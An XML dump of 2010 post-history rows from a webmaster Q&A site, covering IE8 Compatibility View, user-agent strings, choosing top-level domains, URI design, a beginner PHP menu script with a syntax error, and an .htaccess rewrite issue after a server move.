  <row Id="4250" PostHistoryTypeId="2" PostId="2219" RevisionGUID="0a9c0184-3c04-46cb-a9f2-eebeab64a669" CreationDate="2010-08-13T11:17:39.990" UserId="908" Text="I have an ordered list where the text is displaying on the next line from the number in IE 8 (but not other browsers). If I switch on _Compatibility View_ it looks correct. While I think I'll be able to debug this particular issue and fix it, does anyone know of a fairly complete description of what the Compatibility View does, so that next time I can maybe speed up resolution?&#xD;&#xA;&#xD;&#xA;TIA" />
  <row Id="4251" PostHistoryTypeId="1" PostId="2219" RevisionGUID="0a9c0184-3c04-46cb-a9f2-eebeab64a669" CreationDate="2010-08-13T11:17:39.990" UserId="908" Text="What EXACTLY does Compatibility View do in IE8?" />
  <row Id="4252" PostHistoryTypeId="3" PostId="2219" RevisionGUID="0a9c0184-3c04-46cb-a9f2-eebeab64a669" CreationDate="2010-08-13T11:17:39.990" UserId="908" Text="&lt;internet-explorer&gt;" />
  <row Id="4253" PostHistoryTypeId="2" PostId="2220" RevisionGUID="0ef7e8ca-9c55-41e9-bae1-421cbca649c9" CreationDate="2010-08-13T11:28:04.310" UserId="233" Text="Compatibility View renders the page as if it was Internet Explorer 7 (including Javascript). There are a [few differences][1] between IE8 with CV and pure IE7 but essentially it is the same.&#xD;&#xA;&#xD;&#xA;You can also force IE8 to use CV with this meta tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=EmulateIE7&quot; /&gt;&#xD;&#xA;&#xD;&#xA;If you are having problems, I'd suggest first checking you have a legitimate doctype in your HTML (the simplest one is `&lt;!DOCTYPE html&gt;` which forces standards mode). That will solve 90% of your problems, especially with IE6.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.msdn.com/b/ie/archive/2009/03/12/site-compatibility-and-ie8.aspx" />
  <row Id="4254" PostHistoryTypeId="2" PostId="2221" RevisionGUID="e9a855c6-8909-46ee-b2f3-6510820a1645" CreationDate="2010-08-13T11:29:23.543" UserId="914" Text="Compatibility View in IE8 basically renders the page as it would appear in IE7. IE8 is far more standards compliant than IE7, but pages designed for IE7 may not appear correctly using IE8 standards mode, thus compatibility mode was introduced to make the page fall-back to the IE7 way of rendering.&#xD;&#xA;&#xD;&#xA;If you really want the detail of what is going on then read [Just The Facts: Recap of Compatibility View][1] from the IE MSDN blog.&#xD;&#xA;&#xD;&#xA;Incidentally, if you hit F12 whilst using IE8 you will see the developer toolbar. At the top there are two options to change the document mode and the browser mode which will let you explore how a page appears using the compatibility view options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.msdn.com/b/ie/archive/2009/02/16/just-the-facts-recap-of-compatibility-view.aspx" />
  <row Id="4255" PostHistoryTypeId="2" PostId="2222" RevisionGUID="1ccc0c5f-59f4-46ec-b1c3-1d025ac4b691" CreationDate="2010-08-13T11:31:30.420" UserId="914" Text="For most sites 404 and 500 are all you need. If your site has a member login then you could use a 401, but most times you want to redirect to a login page for this rather than displaying an &quot;error&quot;." />
  <row Id="4256" PostHistoryTypeId="6" PostId="2219" RevisionGUID="5d35bb17-3585-4f7d-95be-f87f6b14b18e" CreationDate="2010-08-13T11:54:15.403" UserId="908" Comment="edited tags" Text="&lt;internet-explorer&gt;" />
  <row Id="4257" PostHistoryTypeId="2" PostId="2223" RevisionGUID="cc5d5f49-6b86-491f-9dd5-43f0af433c9d" CreationDate="2010-08-13T14:43:42.187" UserId="1545" Text="We've got a website which has been running for a few years now. One of our customers has just started having an intermittent problem. Looking at our iis6.0 logs the service works correctly when they have a user agent beginning &quot;mozilla/4.0+&quot; but fails when the user agent begins &quot;mozilla/5.0+&quot;. The particular customer only started having this problem on Wednesday. &#xD;&#xA;&#xD;&#xA;Does anyone know the browser/upgrade which changes the 4.0 to 5.0?&#xD;&#xA;&#xD;&#xA;The actual problem caused is that an &quot;&amp;&quot; in a url parameter list is being encoded as &quot;&amp;amp;&quot;. Anyone seen anything similar?&#xD;&#xA;&#xD;&#xA;We have other users sending from browsers with the 5.0+ user agent without trouble.&#xD;&#xA;&#xD;&#xA;Sorry about the tags but don't have the rep to create new ones.&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;Patrick" />
  <row Id="4258" PostHistoryTypeId="1" PostId="2223" RevisionGUID="cc5d5f49-6b86-491f-9dd5-43f0af433c9d" CreationDate="2010-08-13T14:43:42.187" UserId="1545" Text="What browser is sending user agent beginning mozilla/5.0+, tramslates &amp; into &amp;amp;" />
  <row Id="4259" PostHistoryTypeId="3" PostId="2223" RevisionGUID="cc5d5f49-6b86-491f-9dd5-43f0af433c9d" CreationDate="2010-08-13T14:43:42.187" UserId="1545" Text="&lt;url&gt;" />
  <row Id="4260" PostHistoryTypeId="2" PostId="2224" RevisionGUID="862ab192-6e26-45f2-8dc6-f38b27f4a475" CreationDate="2010-08-13T14:57:39.937" UserId="1546" Text="Firefox 3.x and many others do.&#xD;&#xA;&#xD;&#xA;Can you post the full agent string that you're having problems with? As it sounds like it could be a custom script that is generating the request and pretending to be a certain agent. But is incorrectly creating the ident string. Or your check against the agent string is incorrect." />
  <row Id="4261" PostHistoryTypeId="5" PostId="2223" RevisionGUID="1de52dbe-d1b2-4592-9e99-b2f6bd534ec5" CreationDate="2010-08-13T15:13:15.880" UserId="1545" Comment="added 921 characters in body" Text="We've got a website which has been running for a few years now. One of our customers has just started having an intermittent problem. Looking at our iis6.0 logs the service works correctly when they have a user agent beginning &quot;mozilla/4.0+&quot; but fails when the user agent begins &quot;mozilla/5.0+&quot;. The particular customer only started having this problem on Wednesday. &#xD;&#xA;&#xD;&#xA;Does anyone know the browser/upgrade which changes the 4.0 to 5.0?&#xD;&#xA;&#xD;&#xA;The actual problem caused is that an &quot;&amp;&quot; in a url parameter list is being encoded as &quot;&amp;amp;&quot;. Anyone seen anything similar?&#xD;&#xA;&#xD;&#xA;We have other users sending from browsers with the 5.0+ user agent without trouble.&#xD;&#xA;&#xD;&#xA;Sorry about the tags but don't have the rep to create new ones.&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;Patrick&#xD;&#xA;&#xD;&#xA;Edit: hi Viper_sb,&#xD;&#xA;&#xD;&#xA;It is most probably a custom script (I'm primarily a c++ developer so don't really understand). Our site services requests from other customer developed sites, this one was done in Java script as far as I know.&#xD;&#xA;&#xD;&#xA;we're actually getting a variety of user agents (presumably depending on which of our customers customers is accessing the service), here's a few:&#xD;&#xA;Mozilla/5.0+(Windows;+U;+Windows+NT+6.1;+fr;+rv:1.9.1.11)+Gecko/20100701+Firefox/3.5.11&#xD;&#xA;&#xD;&#xA;Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+en-US)+AppleWebKit/533.4+(KHTML,+like+Gecko)+Chrome/5.0.375.126+Safari/533.4 302 0 0&#xD;&#xA;&#xD;&#xA;Mozilla/5.0+(Macintosh;+U;+PPC+Mac+OS+X;+fr)+AppleWebKit/523.12+(KHTML,+like+Gecko)+Version/3.0.4+Safari/523.12&#xD;&#xA;&#xD;&#xA;Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+en-US;+rv:1.9.2.8)+Gecko/20100722+Firefox/3.6.8&#xD;&#xA;&#xD;&#xA;Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+fr;+rv:1.9.2.8)+Gecko/20100722+Firefox/3.6.8+(.NET+CLR+3.5.30729)" />
  <row Id="4262" PostHistoryTypeId="6" PostId="2223" RevisionGUID="773a0eaa-0a9d-4a31-bba0-907e9456098b" CreationDate="2010-08-13T15:15:18.753" UserId="221" Comment="edited tags" Text="&lt;browsers&gt;&lt;user-agent&gt;" />
  <row Id="4263" PostHistoryTypeId="2" PostId="2225" RevisionGUID="eb06414f-ccff-4d7d-9f53-38c1a38bf040" CreationDate="2010-08-13T15:56:14.207" UserId="113" Text="I've noticed .com is the standard, but when should I NOT use .com? What are the most common alternatives? If someone has the foo.com registered, should I choose a different domain or register foo.somethingelse? " />
  <row Id="4264" PostHistoryTypeId="1" PostId="2225" RevisionGUID="eb06414f-ccff-4d7d-9f53-38c1a38bf040" CreationDate="2010-08-13T15:56:14.207" UserId="113" Text="When should I not use .com as a gerneric top-level domain? (.com vs .net, .org, etc.)" />
  <row Id="4265" PostHistoryTypeId="3" PostId="2225" RevisionGUID="eb06414f-ccff-4d7d-9f53-38c1a38bf040" CreationDate="2010-08-13T15:56:14.207" UserId="113" Text="&lt;domains&gt;" />
  <row Id="4266" PostHistoryTypeId="2" PostId="2226" RevisionGUID="c227a6d8-2307-472d-a142-99b5c3945448" CreationDate="2010-08-13T16:04:44.297" UserId="221" Text="If you are based in a country that has its own ccTLD and/or you are mostly targeting the audience of said country then use that ccTLD (pretty much all my sites are .is).&#xD;&#xA;&#xD;&#xA;If you are running a site for a non-profit organization you should use .org (e.g. archive.org).&#xD;&#xA;&#xD;&#xA;Otherwise, you should try to use .com. To quote [Joel Spolsky ][1]&#xD;&#xA;&#xD;&#xA;&gt;  .coms are a million times better than&#xD;&#xA;&gt; other TLDs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2010/07/domain-names/" />
  <row Id="4267" PostHistoryTypeId="2" PostId="2227" RevisionGUID="8b22e0f9-9960-4581-958c-2cec332f16cf" CreationDate="2010-08-13T16:05:57.070" UserId="1253" Text=".com is supposed to indicate a website is a company's commercial presence on the web. They may sell stuff on it or they may simply use the site to promote themselves as a company (i.e. marketing).&#xD;&#xA;&#xD;&#xA;.net is supposed to be a company's web presence online. A common use of .net was ISPs who used it for email.&#xD;&#xA;&#xD;&#xA;.org is supposed to represent an organization, typically a non-profit.&#xD;&#xA;&#xD;&#xA;In reality many people use .net when the .com is taken and even .org simply because they are the most recognized TLDs. .com if of course the most recognized and the general rule is to try to get a recognizable/memorable .com first because that will be the easiest for a user to remember. It's not uncommon for someone who types a domain name into their address bar to type .com instead of .net (or others) simply out of habit or forgetfulness. But if you cannot find a suitable .com but can find a suitable .net (or others) then you should use it because a memorable .net is better then a difficult to remember .com (or a .com that doesn't really indicate what the website is about)." />
  <row Id="4268" PostHistoryTypeId="2" PostId="2228" RevisionGUID="1ec60e2c-aa98-4301-90b1-a94253843688" CreationDate="2010-08-13T16:05:57.273" UserId="1454" Text="&gt; I've noticed .com is the standard, but when should I NOT use .com?&#xD;&#xA;&#xD;&#xA;In the past, .net was used to indicate internet services like ISPs and .org was used to indicate non-commercial interests (i.e. &lt;b&gt;org&lt;/b&gt;anizations that did not fit the &lt;b&gt;com&lt;/b&gt;mercial gTLD). These days, both of these gTLDs are unrestricted so there aren't really any hard and fast rules. I think in a lot of cases it comes down to personal preferences, but you should still have the .com for reasons I'll outline below.&#xD;&#xA;&#xD;&#xA;You specifically mention using gTLDs, but another reason you might not want the .com to be your primary TLD could be if you're focusing on a specific country. For instance, I'm Canadian, and it's a minor point of pride/distinction for my blog, so I didn't bother registering the .com TLD, choosing instead to use the .ca ccTLD (country-code top level domain) to indicate that the site is Canadian-run.&#xD;&#xA;&#xD;&#xA;&gt; If someone has the foo.com registered, should I choose a different domain or register foo.somethingelse? &#xD;&#xA;&#xD;&#xA;I think the common advice for this situation is to find a different domain name, especially if the .com is owned by a competitor in your space (there could be legal issues in that case as well). The reason being that .com tends to be the &quot;go-to&quot; choice for domains, and is most easily remembered by the general public. Even if you don't own the .com, a lot of people will likely still end up there simply because that's the default TLD for a lot of users. You'll end up diluting your brand at best, or helping a competitor at worst.&#xD;&#xA;&#xD;&#xA;When it comes to registering other TLDs, I've always heard it recommended that you also get the .com for security, and just redirect it to your TLD of choice.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4269" PostHistoryTypeId="5" PostId="2226" RevisionGUID="4ef4fe56-f4d6-479b-87a7-921fe9e2b23f" CreationDate="2010-08-13T16:11:04.507" UserId="221" Comment="added 153 characters in body" Text="If you are based in a country that has its own ccTLD and/or you are mostly targeting the audience of said country then use that ccTLD (pretty much all my sites are .is).&#xD;&#xA;&#xD;&#xA;If you are running a site for a non-profit organization you should use .org (e.g. archive.org).&#xD;&#xA;&#xD;&#xA;Otherwise, you should try to use .com. To quote [Joel Spolsky ][1]&#xD;&#xA;&#xD;&#xA;&gt;  .coms are a million times better than&#xD;&#xA;&gt; other TLDs.&#xD;&#xA;&#xD;&#xA;And if `example.com` is taken and you register `example.net` instead, you are just asking for trouble if either your site or theirs becomes successful.&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2010/07/domain-names/" />
  <row Id="4270" PostHistoryTypeId="2" PostId="2229" RevisionGUID="e315485b-1b8e-4ac8-a4ef-e60997ab8877" CreationDate="2010-08-13T16:17:52.130" UserId="221" Text="I think I can sum up the responses as &#xD;&#xA;&#xD;&#xA;&gt; You should never do that unless you absolutely can't avoid it. Even then you shouldn't.&#xD;&#xA;&#xD;&#xA;Sounds about right." />
  <row Id="4271" PostHistoryTypeId="5" PostId="2105" RevisionGUID="73947b1d-ce20-48ea-b91c-02dd44bb2565" CreationDate="2010-08-13T16:24:46.197" UserId="1423" Comment="added factors" Text="How should a [good URI be designed][1]? What are the factors to consider? What are the pros and cons of the variants?&#xD;&#xA;&#xD;&#xA;**Factors that makes up a good URI**&#xD;&#xA;&#xD;&#xA; - stability over time&#xD;&#xA; - short&#xD;&#xA; - give the user an idea what is linked&#xD;&#xA; - easy to type&#xD;&#xA; - easy to guess (relevant only for a few links like &quot;/jobs&quot;)&#xD;&#xA; - search engine friendly&#xD;&#xA; - URI schema should be consistent over the whole site&#xD;&#xA; - URI schema should allow future extensions&#xD;&#xA;&#xD;&#xA;Any more?&#xD;&#xA;&#xD;&#xA;**Examples**&#xD;&#xA;&#xD;&#xA; - example.com/articles/3252&#xD;&#xA; - example.com/articles/how+to+design+good+uri&#xD;&#xA; - example.com/articles/3252/how+to+design+good+uri&#xD;&#xA; - example.com/good-uri-design&#xD;&#xA; - example.com/articles/good-uri-design&#xD;&#xA; - example.com/a/good-uri-design&#xD;&#xA;  &#xD;&#xA;[1]: http://www.w3.org/Provider/Style/URI.html" />
  <row Id="4272" PostHistoryTypeId="5" PostId="2224" RevisionGUID="12102ab2-d02a-42f8-b143-abccdeee70f7" CreationDate="2010-08-13T16:30:49.577" UserId="1546" Comment="added 376 characters in body" Text="Firefox 3.x and many others do.&#xD;&#xA;&#xD;&#xA;Can you post the full agent string that you're having problems with? As it sounds like it could be a custom script that is generating the request and pretending to be a certain agent. But is incorrectly creating the ident string. Or your check against the agent string is incorrect.&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;The strings you posted are being url-encoded the +'s in them should be spaces. I'm not sure where the problem is, if it's on your javascript side or in the user visiting the site.&#xD;&#xA;&#xD;&#xA;I'm going to go out here and guess that your javascript is decoding the agent string, this shouldn't happen (unless you're going to make a url out of it or post it on your web site)." />
  <row Id="4273" PostHistoryTypeId="2" PostId="2230" RevisionGUID="3971a439-6a80-4471-95ad-799b7b6a873a" CreationDate="2010-08-13T16:48:24.253" UserId="1522" Text="This advice, from Jakob Neilsen, was written back in 1999 but still seems pertinent today:&#xD;&#xA;&#xD;&#xA;&gt; The URL will continue to be part of&#xD;&#xA;&gt; the Web user interface for several&#xD;&#xA;&gt; more years, so a usable site requires:&#xD;&#xA;&gt; &#xD;&#xA;&gt; * a domain name that is easy to remember and easy to spell&#xD;&#xA;&gt; * short URLs&#xD;&#xA;&gt; * easy-to-type URLs&#xD;&#xA;&gt; * URLs that visualize the site structure&#xD;&#xA;&gt; * URLs that are &quot;hackable&quot; to allow users to move to higher levels of the&#xD;&#xA;&gt; information architecture by hacking&#xD;&#xA;&gt; off the end of the URL&#xD;&#xA;&gt; * persistent URLs that don't change&#xD;&#xA;&#xD;&#xA;From: [URL as UI][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com/alertbox/990321.html" />
  <row Id="4274" PostHistoryTypeId="16" PostId="2230" RevisionGUID="3971a439-6a80-4471-95ad-799b7b6a873a" CreationDate="2010-08-13T16:48:24.253" UserId="-1" />
  <row Id="4275" PostHistoryTypeId="2" PostId="2231" RevisionGUID="6e8e9d55-fe1e-4a73-a0ac-049e093282ad" CreationDate="2010-08-13T17:07:20.590" UserId="108" Text="I would buy the .com TLD of your domain no matter what unless you are a not for profit and plan on buying the .org.  Even then I would buy the .com as well just to so no one can squat on it and compete with your site if it becomes popular enough.&#xD;&#xA;&#xD;&#xA;Also, if you are in a country outside of the US I would purchase the ccTLD for that country as well.  In that case, if you are specific to one country, it is often times best to point the .com domain to the ccTLD domain because Google does use the domain name for country specific searches and some things with language." />
  <row Id="4276" PostHistoryTypeId="5" PostId="2231" RevisionGUID="87a6c7ad-10b3-4a19-ae29-5d7d04f1b04b" CreationDate="2010-08-13T17:13:04.700" UserId="108" Comment="added 1025 characters in body" Text="I would buy the .com TLD of your domain no matter what unless you are a not for profit and plan on buying the .org.  Even then I would buy the .com as well just to so no one can squat on it and compete with your site if it becomes popular enough.&#xD;&#xA;&#xD;&#xA;Also, if you are in a country outside of the US I would purchase the ccTLD for that country as well.  In that case, if you are specific to one country, it is often times best to point the .com domain to the ccTLD domain because Google does use the domain name for country specific searches and some things with language.&#xD;&#xA;&#xD;&#xA;Finally, purchasing domain names, especially for companies, isn't so much about which TLD you should have but about how to strategically purchase all domains and possible TLDs that relate to your company's name, branded products, services, etc.  Since unowned domains cost so little to purchase it is infinitely easier to purchase everything related to your company now than deal with squatters and court cases later on.  In addition it allows you space to grow.  For instance if you buy the .mobi TLD for your domain but don't get around to developing a mobile version of your site for 4 years, what are you out of?  Probably about $40 which is relatively speaking nothing.&#xD;&#xA;&#xD;&#xA;As an example to this strategy, the company I currently working for is a small manufacturing and engineering firm but they own over 300 domains.  Many of these are the same name with different TLDs.  Even with that we have had to deal with 1 or 2 squatters on similar names.  So there is a lot of value in just covering yourself to begin with." />
  <row Id="4277" PostHistoryTypeId="2" PostId="2232" RevisionGUID="236e110b-0a00-41e0-b3f3-58905c68d0f3" CreationDate="2010-08-13T17:53:50.777" UserId="132" Text="I'm planning what is essentially a &quot;business card&quot; website for myself, and have been looking at domains. My primary site (a `.com`) is for my blog and portfolio and the like, but I want a separate site for basic information, contact, networks, and the like.&#xD;&#xA;&#xD;&#xA;In this light, there are a few TLDs that seem to be suitable: `.info`, `.me`, and `.name`.&#xD;&#xA;&#xD;&#xA;I'd appreciate remarks on the differences between these options, and suggestion on which would be suitable for my need." />
  <row Id="4278" PostHistoryTypeId="1" PostId="2232" RevisionGUID="236e110b-0a00-41e0-b3f3-58905c68d0f3" CreationDate="2010-08-13T17:53:50.777" UserId="132" Text="Which TLD would be suited to a personal site?" />
  <row Id="4279" PostHistoryTypeId="3" PostId="2232" RevisionGUID="236e110b-0a00-41e0-b3f3-58905c68d0f3" CreationDate="2010-08-13T17:53:50.777" UserId="132" Text="&lt;top-level-domains&gt;" />
  <row Id="4280" PostHistoryTypeId="2" PostId="2233" RevisionGUID="6b8a5dd7-b7d0-4410-ad13-c36645413541" CreationDate="2010-08-13T17:58:41.763" UserDisplayName="Mat" Text="WordPress (at least 2.8 versions) had a lot of media stored in the database using serialized data for the server filename path.  When moving servers, you will not be able to maintain this by dumping the DB and re-importing it.  Your users will experience a lot of problems with attachments for previous posts.&#xD;&#xA;&#xD;&#xA;Even following official guide, I have had problems regarding this, and that was going from one linux server to another.  Throwing Windows in the mix should be interesting." />
  <row Id="4281" PostHistoryTypeId="2" PostId="2234" RevisionGUID="1f9aa345-574f-4197-8cfb-e6231a0b9933" CreationDate="2010-08-13T18:10:20.243" UserDisplayName="ellisgeek" Text="I am just starting PHP and I want to create a customizable menu using jquery and a PHP script that can have a variable amount of items.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks to **[Chase](http://stackoverflow.com/users/222340/chase)** for his Answer on **[Stack Overflow](http://stackoverflow.com)**&#xD;&#xA;&#xD;&#xA;index.php:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot; &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;?PHP&#xD;&#xA;    $script_url=&quot;http://files01.s0urc3.ismywebsite.com/jquery/nagging-menu/nagging-menu.js&quot;;&#xD;&#xA;    $menu_css=&quot;http://files01.s0urc3.ismywebsite.com/jquery/nagging-menu/style.css&quot;;&#xD;&#xA;    $links = array(&#xD;&#xA;        array(&quot;url&quot; =&gt; &quot;http://www.something1.com&quot;, &quot;label&quot; =&gt; &quot;something&quot;),&#xD;&#xA;        array(&quot;url&quot; =&gt; &quot;http://www.something2.com&quot;, &quot;label&quot; =&gt; &quot;something2&quot;),&#xD;&#xA;        array(&quot;url&quot; =&gt; &quot;http://www.something3.com&quot;, &quot;label&quot; =&gt; &quot;something3&quot;),&#xD;&#xA;    );&#xD;&#xA;    include(&quot;menu.php&quot;);&#xD;&#xA;    ?&gt;&#xD;&#xA;    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=iso-8859-1&quot;/&gt;&#xD;&#xA;    &lt;title&gt;&lt;/title&gt;&#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; href=&quot;favicon.ico&quot; type=&quot;image/x-icon&quot;/&gt;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;.css&quot;/&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;?=writeMenu($links, $menu_css, $script_url)?&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;menu.php:&#xD;&#xA;&#xD;&#xA;    &lt;?&#xD;&#xA;    function writeMenu($links, $script_url, $menu_css){&#xD;&#xA; $menu = '&lt;link href=\&quot;$menu_css\&quot; type=\&quot;text/css\&quot;&gt;'&#xD;&#xA;        $menu = '&lt;div id=&quot;navi&quot;&gt;';&#xD;&#xA;        $menu .= '&lt;div id=&quot;menu&quot; class=&quot;default&quot;&gt;';&#xD;&#xA;        $menu .= '&lt;ul&gt;';&#xD;&#xA;&#xD;&#xA;        foreach ($links as $item) {&#xD;&#xA;            $menu .= &quot;&lt;li&gt;&lt;a href=\&quot;&quot;.$item['url'].&quot;\&quot;&gt;&quot;.$item['label'].&quot;&lt;/a&gt;&lt;/li&gt;&quot;;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        $menu .= &quot;&lt;/ul&gt;&quot;;&#xD;&#xA;        $menu .= &quot;&lt;/div&gt;&quot;;&#xD;&#xA;        $menu .= &quot;&lt;script type=\&quot;text/javascript\&quot; src=\&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js\&quot; charset=\&quot;utf-8\&quot;&gt;&lt;/script&gt;&quot;;&#xD;&#xA;        $menu .= &quot;&lt;script type=\&quot;text/javascript\&quot; src=$script_url charset=\&quot;utf-8\&quot;&gt;&lt;/script&gt;&quot;;&#xD;&#xA;&#xD;&#xA;        return $menu;&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;I am getting an error when i run this.&#xD;&#xA;The error is:&#xD;&#xA;&#xD;&#xA;    Parse error: syntax error, unexpected T_VARIABLE in /home/s0urc3/public_html/files01/menu.php on line 5&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks to **[Chase](http://stackoverflow.com/users/222340/chase)** for his Answer on **[Stack Overflow](http://stackoverflow.com)**&#xD;&#xA;" />
  <row Id="4282" PostHistoryTypeId="1" PostId="2234" RevisionGUID="1f9aa345-574f-4197-8cfb-e6231a0b9933" CreationDate="2010-08-13T18:10:20.243" UserDisplayName="ellisgeek" Text="PHP &quot;dynamic&quot; Menu script" />
  <row Id="4283" PostHistoryTypeId="3" PostId="2234" RevisionGUID="1f9aa345-574f-4197-8cfb-e6231a0b9933" CreationDate="2010-08-13T18:10:20.243" UserDisplayName="ellisgeek" Text="&lt;javascript&gt;&lt;php&gt;&lt;jquery&gt;&lt;menu&gt;" />
  <row Id="4284" PostHistoryTypeId="16" PostId="2232" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-13T18:18:54.267" UserId="55" />
  <row Id="4285" PostHistoryTypeId="10" PostId="2234" RevisionGUID="833ac25f-beeb-429f-ba25-659dde695eed" CreationDate="2010-08-13T18:24:47.517" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="4286" PostHistoryTypeId="2" PostId="2235" RevisionGUID="74fb1f9e-eeb3-44f7-866f-f275dc215d2c" CreationDate="2010-08-13T18:27:12.377" UserId="26" Text="**.info**&#xD;&#xA;&#xD;&#xA;&gt; The name is derived from information&#xD;&#xA;&gt; indicating that the domain is intended&#xD;&#xA;&gt; for informative Internet resources,&#xD;&#xA;&gt; although registration requirements do&#xD;&#xA;&gt; not prescribe any theme orientation.&#xD;&#xA;&#xD;&#xA;**.me**&#xD;&#xA;&#xD;&#xA;You're in [Montenegro][1]? Seriously, I am not a fan of using other country codes for other uses. I don't like things whose legal jurisdiction is not my own.&#xD;&#xA;&#xD;&#xA;**.name**&#xD;&#xA;&#xD;&#xA;&gt; It is intended for use by individuals&#xD;&#xA;&gt; for representation of their personal&#xD;&#xA;&gt; names, nicknames, screen names,&#xD;&#xA;&gt; pseudonyms, or other types of&#xD;&#xA;&gt; identification labels.&#xD;&#xA;&#xD;&#xA;I think `.name` is the most appropriate one to use.&#xD;&#xA;&#xD;&#xA;That sid, the one that's easiest to remember and communicate to people is always going to be best. I like `.com` and `.org` best for personal sites.&#xD;&#xA;&#xD;&#xA;But to each is own. The original intent of TLDs has been subverted over the years, people do as they please. Use the one *you like* the best.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/.me" />
  <row Id="4287" PostHistoryTypeId="16" PostId="2235" RevisionGUID="74fb1f9e-eeb3-44f7-866f-f275dc215d2c" CreationDate="2010-08-13T18:27:12.377" UserId="-1" />
  <row Id="4288" PostHistoryTypeId="2" PostId="2236" RevisionGUID="5e20a8e3-db45-40b5-bc26-626ca81c8d8a" CreationDate="2010-08-13T18:33:28.060" UserId="1253" Text="About 10 years ago I chose .net for my mine. I'm not selling anything so I'm not a .com and I'm not an organization in any way so I'm not a .org.&#xD;&#xA;&#xD;&#xA;Newer TLDs like .name seem like a good choice as well. .me is good as long as Montenegro doesn't change their minds about their TLD." />
  <row Id="4289" PostHistoryTypeId="16" PostId="2236" RevisionGUID="5e20a8e3-db45-40b5-bc26-626ca81c8d8a" CreationDate="2010-08-13T18:33:28.060" UserId="-1" />
  <row Id="4290" PostHistoryTypeId="2" PostId="2237" RevisionGUID="4a704d14-8a6b-4129-a7c6-fdf775ac720c" CreationDate="2010-08-13T18:35:50.410" UserId="1226" Text="the site seems to draw the correct links but its not redirecting me to the correct view.&#xD;&#xA;&#xD;&#xA;the same code works fine on the old servere here http://ruse.systemio.net/q&amp;a/&#xD;&#xA;the new server is here http://www.rusereplays.com/q&amp;a/&#xD;&#xA;&#xD;&#xA;the problem im having is if you click a link on that page to a question it rewrites the link and redirect to the site,, but for the new server it seem to just rediret to index.php&#xD;&#xA;&#xD;&#xA;this is my .htaccess im using on both servers&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*)$ index.php/$1 [QSA,L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;    ErrorDocument 404 /index.php&#xD;&#xA;&#xD;&#xA;this is the phpinfo for the two servers&#xD;&#xA;&#xD;&#xA;old -&gt; http://ruse.systemio.net/scripts/phpinfo.php&#xD;&#xA;&#xD;&#xA;new -&gt; http://www.rusereplays.com/scripts/phpinfo.php&#xD;&#xA;&#xD;&#xA;anyone having a suggestion on how to fix this or too help me find a solution to my problem?&#xD;&#xA;" />
  <row Id="4291" PostHistoryTypeId="1" PostId="2237" RevisionGUID="4a704d14-8a6b-4129-a7c6-fdf775ac720c" CreationDate="2010-08-13T18:35:50.410" UserId="1226" Text="problem with .htaccess and mod_rewrite after moving site to new server" />
  <row Id="4292" PostHistoryTypeId="3" PostId="2237" RevisionGUID="4a704d14-8a6b-4129-a7c6-fdf775ac720c" CreationDate="2010-08-13T18:35:50.410" UserId="1226" Text="&lt;php&gt;&lt;apache&gt;&lt;htaccess&gt;&lt;url-rewriting&gt;" />
